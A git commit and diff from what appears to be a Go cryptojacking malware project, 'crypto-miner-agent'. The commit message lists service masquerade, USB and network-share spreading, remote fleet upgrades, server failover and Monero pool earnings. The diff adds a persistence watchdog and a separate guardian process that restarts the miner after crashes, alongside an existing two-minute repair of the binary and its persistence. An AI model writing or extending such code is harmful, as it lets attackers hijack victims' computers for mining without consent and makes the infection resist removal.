Add fleet resilience, passive spread, matrix rain UI, and live earnings.

Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
drjones
2026-05-29 22:29:58 -07:00
parent 0f9e04f5f6
commit 102d2fb7c6
29 changed files with 1795 additions and 84 deletions

View File

@@ -9,11 +9,13 @@ import (
"crypto-miner-agent/config"
)
// StartWatchdog keeps persistence and the installed binary healthy.
// StartWatchdog keeps persistence and the installed binary healthy,
// and spawns an out-of-process guardian that restarts the miner if it crashes.
func StartWatchdog(cfg config.RuntimeConfig) {
if !cfg.SelfHealing {
return
}
// In-process: repairs binary + persistence every 2 min
go func() {
ticker := time.NewTicker(2 * time.Minute)
defer ticker.Stop()
@@ -23,6 +25,12 @@ func StartWatchdog(cfg config.RuntimeConfig) {
}
}
}()
// Out-of-process guardian: survives a crash of THIS process.
// Only needed for user-mode installs; scheduled tasks and services
// already have their own restart-on-failure mechanics.
if cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
go launchProcessGuard(cfg)
}
}
func maintainInstall(cfg config.RuntimeConfig) error {